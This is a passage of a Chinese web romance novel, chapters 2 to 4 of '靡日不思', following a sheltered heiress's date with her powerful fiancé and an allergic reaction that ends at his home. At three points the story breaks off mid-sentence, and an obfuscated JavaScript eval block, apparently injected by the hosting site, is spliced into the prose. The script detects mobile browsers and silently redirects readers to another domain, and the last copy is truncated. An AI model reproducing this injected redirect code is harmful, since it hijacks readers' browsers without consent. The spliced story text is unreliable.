《靡日不思》 2. 第 2 章 “未婚妻,我性/欲很强。” 林稚水满脑子都是这句对她而言过分直白的话。 等回到家里,她身体那股仿佛被轻薄到烫得发颤的热度才逐渐冷静下来。 在阿瞒她们担忧又困惑的眼神下,林稚水生怕被察觉到异样似的,头也不回往楼上走去。 哪儿都汗津津的。 林稚水觉得贴在身上难受,进主卧后,直接快速地剥落了一层衣物,犹如初绽的嫩叶般在光洁的脚踝处散开。 热而潮湿的氛围里,她视线在换下的衣服上停顿了几秒,清澈的眼神透着点儿古怪,心神恍惚了片刻。 脑海中再次浮现那双好不容易遗忘的似是烈焰熔化的琥珀眼瞳。 下一秒。 林稚水本能地想把它见不得光似的藏起来,身体已经非常诚实付出行动,脚尖朝微潮的衣裙堆里踢了踢。 不要再想了! 换衣服。 一定是天气太热的原因。 对,她要穿哪件呢? 恰好这时,敲门声响起。 林稚水走过去时,随手将床尾的睡袍扯过,搭在身上,薄雪似的衬得她肌肤过分白皙。 门外,走廊灯光下的阿泱朝她递来手机,比划哑语:“夫人致电。” 林稚水轻微地一顿,接过时把手机划到免提。 盛明璎直入主题:“听说你一回家就躲楼上去了,是对那位印象不好么?” 林稚水心知自己一举一动都有耳报神随时告知盛明璎,听到这话,她故意抿抿唇不吭声,耳垂依旧很红,一直延伸到纤弱的肩颈,为了贪图那点凉意,正慢悠悠地扯开些睡袍衣领。 “他人很有野心手段。”盛明璎客观地点评宁商羽,“身为顶级财阀掌权人,靠的不是顺位继承,而是出色能力接班家族,在名利场上近乎没有人能和他平起平坐,又洁身自好,这样的男人才能庇护的住你。” 林稚水轻声:“你很少夸别人。” “婚约已定,他将来只会是你最亲密的枕边人,不是别人。”盛明璎字语行间地提醒她端正对这门婚事的态度,又意味很深道: “善善,跟他好好相处。” 林稚水心里微微一动,问:“那我可以随便出门了吗?” 盛明璎笑了下,轻易识破她的心思,却没有母爱泛滥地放松对她的限制,而是点出:“只有他约你,你才能出门。” 母亲的暗示,她好一会儿才彻底琢磨过来。 虽然成年意味着长大。 可长大后,她的监护权,自由外出权,都会被林家移交到宁商羽手头上。 一直以来,林稚水深藏在家看似养尊处优无忧无虑,可每天无趣又孤零零,唯一的快乐源泉就是已故父亲留下的那些珍贵书籍和找美丽流光的料子,她喜欢做各种各样的小裙子,私下穿。 最近林稚水新迷上一种薄如蝉翼又极为丝滑的布料,做睡裙一定很美。 然而这种布料早就失传,然而她一直没能得到准许出门。 会被当作玩物丧志。 既然母亲这样说了,那么她小裙子自由,岂不是全看宁商羽。 他应该不会跟母亲一样,把她当作什么易碎的瓷器,连门都不准出的吧? 林稚水坚强地本着乐观主义的精神想通之后,想联系新任“监护人”,抬眼,轻瞥钟表—— 已经晚上十点。 他应该睡了。 那……明天再说。 不急。 小裙子自由! 即将到来。 林稚水今晚连睡觉都在挂念那批薄如蝉翼的失传布料,真实触感一定比书中写的还要滑。 然而她脑袋一沾枕头,就像被人推到了一场梦里。 半梦半醒之中,林稚水感觉自己好似被一匹滑腻的布料包裹着。 这是。 失传的布料? 她探出指尖想要去试手感,岂料布料居然越裹越紧,根本挣脱不开。 唔…… 这样滑腻而潮热的触感,令她渴望又难抑。 不知所措的时候,薄缎尾端像是落下一簇鎏金色的火焰,随即,自她雪白伶仃的脚踝处贪婪舔舐而上,又像是某种巨兽探来的尾巴,带来了陌生又奇妙的酥痒感。 林稚水眼尾逐渐洇红,感到好像有火焰突然在皮肤表面燃烧,火势逐渐变大,她开始稚拙又慌乱地想挣脱下去。 …… 梦外,林稚水犹如历经了一场情潮,身体浸在汗里,微睁开眼,见天大亮了。 她掀开紧紧裹着自己的真丝薄被,晦暗房间内,身上的裙子散乱堆积在腰间,随着起身的动作,卡在胯骨处的薄纱拖曳出少许潮痕。 林稚水瞬间不自然地僵住,表情也怔了怔。 盛明璎为她聘请名师教学,唯独在性启蒙上,是不教的,只准阿瞒隐晦地提及过身为妻子的义务。 说得通俗易懂点:她是没有真正意义上接受过性教育的,懂得非常浅薄。 林稚水第一次体会到一种极难以形容,透着俗世间极浓稠的情欲。 - 早晨,林稚水没有睡懒觉的习惯,却晚起了整整一个小时。 她坐在餐桌前,忽然发现桌上的花瓶没插鲜花,换成了一束粉红的桃花枝。 阿泱从善如流地比划:“桃花枝是阿琴特意拿观音菩萨前供过的,为你旺桃花,保婚姻美满顺遂的。” 林稚水对教母们这种迷信行为已经免疫,手指揉了揉眉心。 “昨晚没睡好吗?”阿泱忧心忡忡地观察她,点了点脸和眼睛,又比划,“有点红,是不是又踢被子了,看着像是生病发烧了。” 林稚水这双像琉璃一般漂亮的眼睛很大,没睡好时很容易泛红,连带脸上的肌肤跟着晕起红。 特别是要任性点,稍微熬个夜什么的,第二天准看起来像是躲在被窝里哭了一晚上似的。 她不动声色地放下手。 是能解释身体没生病,却解释不清这副状态。林稚水选择放弃挣扎,忽而想起正事,转移话题道:“阿泱,帮我找母亲要一个宁商羽的私人号码吧。” 阿泱摸她的额头,见温度正常,才比划:“私人号码?” 林稚水微偏过头,对那含包绽放的桃花枝轻抬下巴,刻意拖长了音:“这不,菩萨显灵了,我准备找他约会。” 见她是问来培养感情用的,阿泱做事效率惊人的高,林稚水刚把一杯热牛奶给慢慢咽完,就拿到手了。 林稚水换到有日光的地方坐,身子陷在沙发里头,恰好光线穿透她白皙手指,落在那手机屏幕上方。 准备发消息时,她忽而迟疑了秒 开场白要怎么才显得不尴尬且目的性强呢。 指尖停滞了足足十秒钟,她才慢吞吞地敲下: 【宁先生,早安。】 【我有一个非常重要的问题想要问你,你方便吗?】 林稚水耐心地等了五分钟,微抬眼,看向阿泱,轻声又道:“没回我呢,联系方式对吗?” 阿泱见她情绪有点失望,打手语:“是正确的,对方可能在忙。” 好吧。 真是日理万机的大忙人。 她耐心已经彻底告罄。 继续输入:【你对未来太太有什么要求吗,比如着装?】 林稚水索性直白地问出,就这么握着手机端正坐好,身子犹如沉在如潮的心绪里,像是盛满了清水的玻璃容器,再往里多一滴半点就要溢出来那种。 好在这次就等待了半小时。 手机终于震动了。 她一秒钟也不耽误地点开,映入视线是言简意赅的两个字:【没有。】 好少的两个字。 没等林稚水抿唇腹诽,她手机又震动了下,怎料宁商羽多赏了几个字:【想穿什么便穿什么】 林稚水怕回复慢了,他又“日理万机”上了。 心里有没多想,无比珍惜这次沟通的机会,继续问:【那我想吃什么吃什么?】 宁商羽又赏了四个字过来:【你的自由。】 林稚水瞳孔如琉璃,清晰地倒映着字字内容。 她忍不住地伸指尖隔着屏幕摸向这几个字,忽然晃了下神,想到以前隔三差五想撒个娇从功利主义的母亲那边要到,几乎是难于登天。 而此刻,林稚水像嗅觉灵敏的小动物一样,嗅到了宁商羽对她本人的不限制态度。 这样看来。 监护权被他继承,抵抗的情绪浓度也没那么强烈了。 随后林稚水是懂得什么叫得寸进尺,她不再打字,反而直接发了句语音:“你能约我出门吗?妈妈说了,只有你和我约会,才会准许我出门。” 独属于她干净清澈的嗓音回荡在宁氏大厦的顶层办公室。 宁商羽坐在办公椅上,今天穿了身薄薄的衬衫,衬得宽肩窄腰,袖口克制地挽起一折。 神色淡漠而平静,并未因她这句直白的“邀约”,而激起半分涟漪。 只不过…… 他长指轻点语音,又听了一遍。 倒是奚宴,小心谨慎地问:“是否将您与林小姐约会划入重点行程?” 宁商羽将长指间的私人手机搁在桌面上,语调平淡:“你说呢?” 奚宴揣摩到了上意,于是尽忠职守地写在重要行程上。 几日后。 泗城的天色彻底暗下来,沉沉的夜幕犹如暗中蛰伏的巨兽般笼罩着金融大厦,全景落地玻璃内,灯光奢靡华丽,映衬着野心家们俯瞰众生的身影。 宁商羽近日非常忙碌,刚结束完一场保密级别很高的商业会议。 散场后,他从会议厅出来,外面不少西装革履的精英们目光恭敬,谁也想上前攀高,可谁都没资格过度靠近这位真正的天之骄子。 曾经权贵圈私下相传宁商羽是个权力至上的主,他禁欲,极度理性,且做派强硬激进,让人寻不到亲近和示好的空隙。 即便如此,众人却很清楚宁商羽在商海大杀四方时,与他相同豪门出身只会在豪华游轮上彻夜狂欢、声色犬马的纨绔子弟连一颗受精卵的作用都比不上。 他有绝对傲慢的资本。 这股资本,吸引力辐射的对象不分男女,哪怕只能隔空 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15483234|170048||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 望着他背影,也想从中能窥视到权欲编织的鎏金世界之中一个切片。 沿着走廊到尽头的电梯区域。 奚宴突然翻行程表道:“宁总,您明天两点半之后没有任何应酬和会议,请问要去港区见林小姐吗?” 宁商羽侧首,西装驳领上的胸针折射出冰冷而耀眼的流金,衬着他面容,神色微妙地若有所思了几秒。 似现在,才终于想起了林稚水。 林稚水正在学阿琴她们拜救苦救难的观音菩萨。 自从跟宁商羽远程沟通完后,她已经翘首以盼的等了好些天,就指望着他发发慈悲,却没消息,从而甚至怀疑起了宁商羽可能不喜这桩联姻。 要不再发消息问一下? 好像显得她不够矜持。 就在林稚水慢悠悠点了根香,朝供台虔诚地拜着,同时还在琢磨是面子重要还是出门重要,以及介于二者之间难以抉择时。 阿琴一脚踏进飘着袅袅白烟的佛堂,对她比划:“善善,宁家那边的秘书致电,说是明日来接你出门。” 林稚水露出惊讶表情,没想到菩萨真显灵了。 - 上次见面地点是宁商羽定的,这次林稚水这边提出公平起见,她来选。 次日,林稚水获得恩准出门,外头日光明媚灼热,晒得她的影子,仿佛刚刚涉足钢铁森林的世界不到一秒,就像个小动物受惊似的急于缩回她裙下。 林稚水垂眼注视了会,义无反顾地踏下台阶。 一位西装革履的男秘书已经在劳斯莱斯车旁等待,将车门打开,从善如流地做了个请的手势:“林小姐请。” 林稚水上车,无意间抬眼,忽而停住—— 最后排是宁商羽极具存在感的身影,他姿态看似随性闲散,但在封闭的车厢内,近一米九的身形自带压迫感,她呼吸莫名微滞。 虽然知道宁商羽或许会在车厢内,但真正看到的刹那间,还是忍不住愣住。 见她不动,宁商羽语调平静吐出四个字:“还不坐下?” “啊……好。” 林稚水后知后觉地反应过来。 只是在他身旁的空位与前排空位之间,她略迟疑了下,随即选在了斜前方坐好。 坐稳后,林稚水暗松了口气,不忘感激一下他百忙之中飞到港区,甚至还亲自来接人。她表现得很有礼貌说:“谢谢你和我约会。” 宁商羽没有如林稚水设想中那样,绅士礼貌地回应她的感激,反而意味不明地说:“离这么远,我很可怕?” 林稚水猝不及防了下,总是脸皮偏薄的先稳不住气,条件反射地说:“不是,只是坐太近会热。” 可不能被他误会什么可怕不可怕的,万一把人得罪了,他下次不约她了怎么办呢? 宁商羽视线落在她长及脚踝的长裙,依稀能从纤细脆弱的脖颈,看出她肤色极白,白到被林家深居简出养至今大概没真正见过什么太阳,完全不知道烈日的光往她肌肤穿透久点,就能轻易把她消融。 此时大概是有点紧张,放在膝盖上的指尖微蜷。 宁商羽没有开口。 密闭的车厢愈发静谧,显得有点尴尬。 直到位于副驾的奚宴察言观色地,把冷气调整到更低一档:“林小姐还热吗?” 林稚水:“……” “不热了,谢谢。” 好吧…… 没借口了。 林稚水选择识时务,规规矩矩地坐到了宁商羽身边。 然后,主动把地址跟前方那位“好人”秘书说清楚,等车子启动了,她才看向另一当事人,装模作样地询问:“我们去裁缝店约会可以吗?” 宁商羽瞥了眼她:“裁缝店约会?嗯,想法很独特。” 未免他拒绝,林稚水不自觉调整着坐姿,离得更近了:“这是正常流程,约会不就是逛逛街,买买衣服,看看电影吗?” “我知道你不方便出现在公众场合,所以逛街看电影这种就算了呢,我们去私人裁缝店买点布料就可以。” 她提起布料,水波盈盈的眼亮了一下。 真正冲着什么去的,不言而喻。 对上林稚水那张写满“我真贴心”四个字的瓷白脸蛋,宁商羽薄唇溢出漫不经心的笑:“我岂不是要感谢林小姐的体恤。” 林稚水假装没听出他言外之意:“还好呢。” 不过宁商羽没有为难她。 毕竟与他而言,去哪儿都无所谓。 秘书会意。 林稚水浓睫下的那双眼微挑笑意,心情很是尚可。 四十分钟后。 司机抵达了目的地,而林稚水整颗心都牵绊在了裁缝店里。 起身时,同时被裙摆也跟牵绊住了。 她不小心地坐在了宁商羽大腿上。 贴的近,骨子里酿出来的一缕隐秘湿香,能将周围的温度都沾湿,可触碰到宁商羽的瞬间,又犹如被极盛的气场震慑得在空气煮沸。 “……” 没等林稚水心惊出声,忽而一只筋骨突出的手掌握住她腰肢,将她又轻又快地推了出去。 3. 第 3 章 林稚水站在车厢外,风微凉,连带梧桐的树荫拂了她一身。 然而腰上被宁商羽方才用手掌触碰过的部位,那股鲜活滚烫的温度跟烙到她肌肤上似的。 她茫然地眨了下睫毛,眼尾的痣也晃了晃,看向紧随其后下车的男人:发生了什么? 反观宁商羽正整理着西装袖扣,显出一点不徐不疾的冷淡克制意味,继而,神态自若地示意:“不进去?” 林稚水顺着他的视线望向裁缝店—— 差点儿忘了她惦记多日的珍贵布料?! “要去的。” 林稚水无暇顾及方才的混乱,一手提着裙摆,踏上青石台阶。 宁商羽眼神望着她淡极生艳的背影,覆在红宝石袖扣上的指节轻顿了一下,随即面无表情地跟了上去。 这家裁缝店,算是林稚水的“好朋友”了。 店里养了十来位手艺极好的非遗传承人,专门给港区的贵胄名流私人定制衣物,是凭本事服务让客人心甘情愿将流水似的钱财往外掏,不过也偶尔绣些非遗做慈善。 林稚水一入店,犹如自带浓浓的水雾烟波气息,静静地向四周浸透,存在感极强。 正在柜台忙碌对账的女店员抬头一看到她,动作也停止住,双眼亮起,对在旁的人语速很快道:“快去跟万老板说一声,林小姐来了。” 话音没落。 似看到林稚水身后的高大身影。 惊了秒,又补充一句:“还带了个……神颜级别的男人。” 万露是这家店的老板,早年见到林稚水的第一眼起,便恍然觉得自己好像很久没见过这么稀世罕见的干净人儿了,她底色是纯白的,哪怕站着不动,都能轻而易举勾起任何人的天然好感。 后来,自我介绍时: 她说叫万露。 是露水的露,名字里有林稚水,说明两人今生今世有缘。 林稚水只要肯赏光来这里,向来都是受到极高的款待。 裁缝店内为女性服务居多,宁商羽止步在茶厅,在熏香旁的金丝刺绣古董沙发坐着,温柔艳丽的装潢色调与他气场形成鲜明反差,倒显得离奇俊美。 隔着半透光的白珠帘子。 “好久不见。”万露照旧是那副老样子,弯弯的笑眼里藏着三分戏谑:“我们的小祸水成年礼一过,这张脸蛋瞧着更美了些,让我猜猜看,莫不是因为最近有情饮水饱,被滋润的?” “是啊。”林稚水语气半真半假似的,很轻很轻说:“我等万老板手头上的布料滋润身体呢。” 万露心知肚明她的这点爱美小癖好,使了个眼神让助理将新到的那批布料呈上。 继而,她隔着珠帘朝外看一眼。 虽有遮挡物,无法近距离去观赏宁商羽的真容,但那股锋芒过盛的气场极强烈地延伸进来,无端让人感到惊心动魄。 不敢再多看一眼。 万露悄声问:“外头的,就是盛明璎那心狠手辣的女人,给你挑的未婚夫?” 林稚水看了她眼。 万露又问:“你跟他那个了没有啊?” 林稚水惦记着料子,心不在焉回:“哪个?” “哎呀。” “就是婚前性行为!”万露见她不开窍似的,原本压低的声音不自觉微扬半分。 林稚水整一个措手不及,不受控制的转头去看外面动静,也不知这句声音大不大,有没有被宁商羽给听到。 菩萨保佑。 希望没有吧。 而险些引起尴尬事端的万露,笑了下,还指出:“你脸红了。” 林稚水不用摸脸,已经感受到皮肤微烫,却故作淡定表情:“你猜呢。” “我猜啊?”万露最喜欢猜,这会又故意不猜了。 她能混迹港区多年,自然是门路极多,听到的豪门秘闻也多。 而如今,外界早就把林家嫁女的婚事传得沸沸扬扬,她只感叹盛明璎真是狠下心肠,把小女儿藏了这么多年,唯恐招来外人的图谋不轨,竟养在成年之际,又送了出去。 万露亲手先倒了杯花茶,递给林稚水先降降温,站在好姐姐的立场颇有心得提点一句:“你这未婚夫,抛开身份不谈……唔,也抛开天生了一副很容易招女人觊觎的相貌不谈,就谈这体格,一看就是生育力很强,说实话,如果他愿意配合,绝对是能引起无数女人夜夜魂牵梦萦地,想主动把他按到鸳鸯被里。” 话到这儿,万露心知她怕被听去,体贴入微地减弱了声量:“姐姐这双眼很会识人,他啊,绝对超出了你这身板的承受范围,最好婚前跟他试一试。” “万一你们尺寸不匹配……” 林稚水握着茶杯的指尖一顿,想起宁商羽高大挺拔,能将她完全覆盖着住的身影,微微愣神,小声地求知:“不匹配怎么办?” 万露理所当然:“多试试呗。” “……” 怎么试? 她有点迷茫,刚准备细问而这时,恰好助理端着托盘进来,白珠帘子的清脆撞击声中断了轻声细语的交谈。 到了林稚水最喜欢的选料子环节,倘若条件允许,她甚至能选上一整天。 万露让人拿的都是上等孤品,无论什么色,林稚水都镇得住,就在这时,她无意中看到展柜里一条胭脂色苏绣手工旗袍。 多欣赏了几眼。 忽而,万露笑着说:“这是我的新晋镇店之宝,没人能穿上,所以一直摆在展柜里,你的话……倒是可以一试?” 林稚水已经心动了,没怎么犹豫,便去试了。 这件旗袍好似天生就会认主一样,不到片刻,林稚水轻易严丝合缝地试穿上了,踩着地毯走出来时,看到众人都眼前一亮。 万露的反应竟是挪开两步,跟这个小祸水离得近,不免陡然生出股自惭形秽的感觉。 但是不妨碍她话没少说: “要不是老万师傅今日不在店,我都要让她来瞧瞧,这件就跟为你量身定制一样,平时不少客人想要穿,都不等试这步呢,先被老万测量过尺寸,不是腰围不够细就是胸太平,就打发掉了。” 到最后,万露微微带着拖音,有意强调了“你身材长这样,一直捂着太可惜了。”几个字。 林稚水心思不在话上。 她站在半面墙的镜子前,睫下的眼垂着端详这身,过会儿,视线掠过旗袍搭在大腿处的精致衣摆上,绣着一株犹如沾满露珠的花枝,瞧着好看,就是款式短了点儿。 私下穿倒可以。 林稚水心生惋惜,下意识地想去换掉。 这时,宁商羽神色平静如常,嗓音在古旧的裁缝店内,有种磁质的低沉:“穿着吧。” 林稚水耳畔被这三个字震得心颤,继而,回过头。 万露偷瞄一眼珠帘外的男人,立刻附和:“是呢是呢,穿上了还脱干嘛,回家后恐怕只能关在房间里偷偷穿,自己欣赏有什么意思。” 根本不容林稚水拒绝,宁商羽指节轻敲沉木柜台,示意奚宴结账。 奚宴立刻上前。 万露一边打珠玉算盘一边说: “这些这些都是你们要的,因为我这边的布料都非常珍稀,这些加起来要……” 她微微笑,“刚好一百万。” “这件旗袍是镇店之宝,按照我和小祸水的关系,给你们个友情价,八百万。” “要吗?” 林稚水:“……” 太贵了吧。 八百万够她买一堆布料回家哀求阿琴帮忙做了,刚想说旗袍不要了。 下一秒。 宁商羽淡淡地说:“要。” 万露笑意浮上面孔,真是大户。 一看便知,将来这物质精神需求和生理性需求,绝对能三倍满足林稚水,继而,又一本正经地对压根插不进去话的林稚水说:“不愧是你的男人。” 林稚水竟不知怎么接话。 眼尾颤了下,看着柜台上摞了一个个精致的木盒,里面全都是为她买的布料。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15483235|170048||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 以及她身上穿的旗袍。 有点纠结,毕竟她本意单纯的只是想借跟宁商羽约会由头获得出门权,不是冲着让他花这么多钱的。况且,在家时阿瞒说过未婚夫妻也要礼尚往来,不能只让一个人付出,但她近乎足不出户,身上压根没有这么多零花钱。 就在这时,林稚水余光瞥见不远处有一匹霜白色的火焰暗纹料子,忽而想到什么—— “把这个料子拿来我看看。” 万露心下了然:“好。” 呈上来后,她非常懂情趣地给这对未婚夫妻腾出一块地方试料子。 明明再正经不过的氛围,被万露的贴心服务之下,突然将此地,变得更像一场情人间的私会似的。 林稚水抬眼。 宁商羽身高太过显眼站在原地,看着她侧颊洁净如雪,两颗红痣犹如被什么烫红,衬着一身胭脂色旗袍。 林稚水停顿了许久才开口,许是发自内心的真诚,让她落人眼里有种一目了然的干净:“谢谢你送我料子和旗袍,我给你做件衬衣当还礼好不好?” 林稚水还不知。 像宁商羽的家族成员,但凡穿戴之物都会刻上家族徽名彰显身份,平日里,他喜好浓烈重墨的色彩系列,所有的西装配饰都是经御用裁缝之手,稍不合身形便有团队上门裁改。 鲜少,会穿外面的衣物。 林稚水嘴上也就客气问他好不好。 话落地,便主动学着裁缝,拿霜白色料子想为他比划一二,即便已经很刻意不去触碰到宁商羽胸膛,而两人姿势原本只算亲密,这时候稍微再挨近点,都能听见他的呼吸声,好似隔着空气,洒在了她红痣上。 更烧了。 林稚水甚至觉得连带颈侧都烧出一片红,下意识地屏住发颤的呼吸,抬起干净清澈的眼睛。 “这颜色很合适……” 她音断了。 只因宁商羽表面上冷漠地俯下身些,琥珀色的眼眸倒映进了她瞳孔里,顷刻间转变得极深似的。 就像她梦里鎏金色的火焰。 下一秒,林稚水后退两步,艰难地维持着正常呼吸,轻声:“就这么说好了。” 宁商羽全程一言不发,到底说好了什么,也只有林稚水自己心里清楚。 这块料子,林稚水坚持要自己付钱,私下,先跟万露赊账一日,等回家后再送钱过来。 离开裁缝店后。 满载而归的林稚水这回不用宁商羽提点,主动坐到他旁边,有了共同看布料之谊,竟罕见地少了几分疏离。 车子开到半路时。 林稚水垂落的睫尖颤了颤,忽然发现,宁商羽居高临下的视线在她颈侧处停留,她下意识端正坐姿,又不动声色地扯下旗袍的衣摆。 宁商羽却伸手,手指触碰了一下她脖子。 林稚水被男人的体温微微刺激到,随后,都掩饰不住表情的惊讶。 啊? 他们已经发展到了可以摸脖子的阶段吗? 下一秒,宁商羽语调颇为冷静:“红了。” 林稚水早产儿的体质天生不太好,养成了久病自医,慢半拍地反应过来身体肌肤一直烧烫是怎么回事。 她拿出手机,调出自拍模式对准自己,微歪一下头,继而,清晰地窥见被衣领包裹住的脖子肌肤出现小红点。 林稚水好不容易才获得外出权,不想因生病,意外地回到家里。 不甘心,当着宁商羽的面,无暇顾及别的,手指灵活地解了两颗纽扣,整个纤细颈部暴露无遗,一大片痕迹泛出肌肤表面,看上去触目惊心极了。 症状像是过敏。 可她就接触了料子,没在外乱吃东西。 总不能是料子吧,等等……林稚水垂着脑袋,似乎闻见这身旗袍被熏过香,只是味道很淡,她恍然地记起自己对某种香料过敏来着,好像是天竺黄? 紧接着,林稚水看向宁商羽,指尖在他红宝石袖扣上戳了一下:“你闻一下我。” 4. 第 4 章 白日西沉,车厢内光线暧昧难明。 宁商羽略沉吟,用一种意味更难明的眼神端详着林稚水,重复她话里的重点:“闻你?” 林稚水恍然发现自己的话好像带有歧义,开口解释:“我就是想让你闻一下我身上是不是有香味。” 又觉不妥。 这话还是轻浮。 她唇齿的音节卡顿两秒,有点无力地解释道:“我是易敏感体质,对天竺黄类的香料过敏,就想让你帮忙闻一下来着……真是这样,以前我妈妈严格约束我出门,也是因为我太容易在外面感染上一些病毒了。” 现在还算好了。 年幼时期,几乎是每次外出回到家,阿泱她们都要仔仔细细地给她全身消消毒又测体温的,忧心没照顾好的话,绝对是要小病一场的。 “绝对没有轻浮你的意思!!!” 林稚水最后强调。 宁商羽见她脖颈上的大片红斑已经彻底从雪白肌底透到皮外,他眉心轻折。 林稚水还在强忍似的,偶尔身体颤一下,连带旗袍缎面上的花枝似乎也跟着轻轻颤了一下。 还有心思想些有的没的。 只是沉吟几秒,宁商羽吐出比方才林稚水那句话更直白轻浮的两个字:“脱了。” 林稚水侧眸看过去,继而发现宁商羽骄矜的面目隐在暗处缘故,只能依稀地看清从他骨相里露出的锋利摄人眉眼,无形中,还以为自己听错了。 她带着些许茫然地问:“脱?” 宁商羽语速平平:“这件旗袍确实熏了天竺黄香料,你不脱。” “是打算去医院度过今日约会?” 宁商羽指的脱,是真正意义上脱掉这身旗袍,仅此而已。 林稚水当然不想去医院,只不过…… 她眸光环顾车厢,自言自语似的:“在这里?” “不太方便吧。” 宁商羽轻描淡写地说了句“方便”,随即视线移向前方。 奚宴立即会意,将前后座的黑色隔板升起,霎时间,把原本就密闭的车厢空间严丝合缝地隔开了界限。 林稚水还在纠结要不要直接打道回府,可好不容易出来一趟。 下秒,低垂的脑袋就被一件男士宽大的西装外套给笼罩住了,她几乎窒住,鼻尖下意识地贴着面料,嗅到了股鲜明至极的陌生气息,瞬间纹丝不能动弹的身体敏感度被扩大了无数倍似的,继而,又听到宁商羽落了一句过来:“暂时先穿这件。” 话落后。 林稚水跟掀盖头一样,手指尖颤悠悠地把西装外套沿着额头扯下来,又见他面无表情地递来了一件车上备用的新衬衫。 随即屈尊降贵地下车,给她换衣服的私人空间。 宁商羽背影冷漠,可弥漫在车厢内如烈火烧出的气息依然极具侵略性,还未消散。 没得选。 林稚水不想被兴师动众送医院去。 或者是继续忍耐着一身又红又肿的过敏症状,快速脱掉这件诱发病因的旗袍,确实是最稳妥的处理方式。 五分钟后。 林稚水套着松松垮垮的衬衣,第一次有了直观的认识,男士款式的衣服这么大,很空又泛着痒意,跟没穿似的,不知道是过敏变严重了,亦或者是其他原因。 尤其是宁商羽再度上车,就更明显了。 宁商羽从容不迫地看到林稚水穿着他的备用衬衫,白得发腻的膝盖到小腿并拢,指尖也相互攥着,尽管已经努力地维持端正的仪态,却还是暴露出了几分不自然地羞愧。 林稚水浸在他目光里,抬起水润纤长的睫毛跟着颤动:“我不能这样回去吧?” 宁商羽言简意赅道:“确实不能。” 林稚水:“那怎么办?” 宁商羽:“等人给你取衣服。” “在这里等?”林稚水蜷缩着腿,语顿一秒又说: “有点怪怪的。” 特别是,她从没和男人这么近过,而这位,周身的压迫感又太强了,即便只是静坐在身侧,毫无肢体触碰的情况下,也令她像完全透不过气。 宁商羽语调仍旧平平:“车厢空气不流通,你过敏会更严重。” 继而,像是好心施以援手为她指一条生路:“我在这里有一处私人居所,要去吗?” 林稚水不懂这具变得脆弱敏感的身体为何会一直反复涌来热意,但是眼下局面,私人居所也比在车厢里,衣衫不整地跟他独处要好。 下秒,她唇齿含着湿热的音节说:“要去!” 林稚水跟宁商羽尚且谈不上熟。 还没摸清他脾性。 自然是不知道宁商羽此人,可用一句话精准地概括:非梧桐不栖,非醴泉不食。 他的重度洁癖跟他鲜少人有资格知晓的性瘾一样极为挑剔又难搞,所在的领地范围之内最不喜别人沾过的痕迹。 以至于宁商羽在太平山顶上的私人住所,除了偶尔来港岛谈项目时才会居住两晚外,这里偌大的华美建筑犹如被封存了一样,显得分外冷清而空旷。 宁商羽将她往起居室的主卧带,视线触及之处,几乎什么私人用品都没有,最醒目的只有那张看上去能睡四个人以上的黑丝绒大床。 林稚水蓦地止住脚步,若有若无地看了他一眼。 宁商羽淡定,示意她看向浴室方向:“先涂药还是先洗澡?” 车厢时,林稚水就被裹出了一层薄汗,觉得异常闷热,自然是倾向于洗澡,只不过…… 宁商羽见她反应良久,直接问:“林小姐,过敏药有禁忌吗?” 虽然他语调正常,听入耳像是没别的深意,可林稚水里外敏感异常,莫名地觉得宁商羽这是体恤她似的,怕下手不知轻重地把她这个早产儿给药死了。 林稚水抿唇了下,回答一句:“没有,正常的就可以。” “嗯。” 宁商羽为她腾出空间。 房门合上。 林稚水站在原地发呆几秒,看着他真走了,才意识到也没什么好纠结,她浑身不舒服,肯定要洗澡的。 半小时后。 林稚水在陌生的环境下,没有贪恋淋浴的凉意,简单洗了一下就出来了,微抬眸,视线定在坐在床边的宁商羽身上。 此时厚实窗帘半合着,室内光线有点暗,衬得男人低垂的眉目有种神秘的幽静感,连身后那张超大的黑丝绒大床,都没他存在感强。 林稚水不自觉地又瞥向那张床。 脑子里忽然冒出个不着边际的想法:一个人睡这么大的床,睡相得多差呢。 宁商羽掀睫,恰好将她盯着床微微困惑加好奇加恍然的表情收入眼底,漫不经心地开口:“过来。” “涂药。” 林稚水这才注意到,他筋骨修长的指节正再把玩一小管外涂的过敏药膏。 这跟救命良药没区别了。 林稚水上前感恩地接过药膏。 继而,超乎意料地发现这款,居然还是她家中常用的药。 林稚水捏住白色药管尾端,抽了一下,居然没抽动,沿着另一段长指往上,对上宁商羽那双微深的琥珀色眼瞳:“不能拿吗?” 宁商羽目光从她表情茫然的脸蛋落在她身上。 林稚水依旧穿着他的衬衣,被水汽氤氲过的肌肤上星星点点没有半点褪去,沿着后领蜿蜒而下…… 下一秒,他松开指腹:“能。” 林稚水没意识到问题所在,接过药膏之后,足音很轻地走向不远处的落地镜,照着镜子开始涂药。 不过…… 等等。 她过敏位置大部份都在脊背。 以往在家都是阿泱她们轮番代劳,一时就没意识到,自己压根涂不到后面。 越急越痒。 越痒越急。 镜子映照出林稚水苦闷的表情。 原本气定神闲坐在床边的宁商羽,终于起身走向她,重新抽出被指尖攥紧的药管,语调缓慢地说:“未婚妻,我想你需要帮助。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 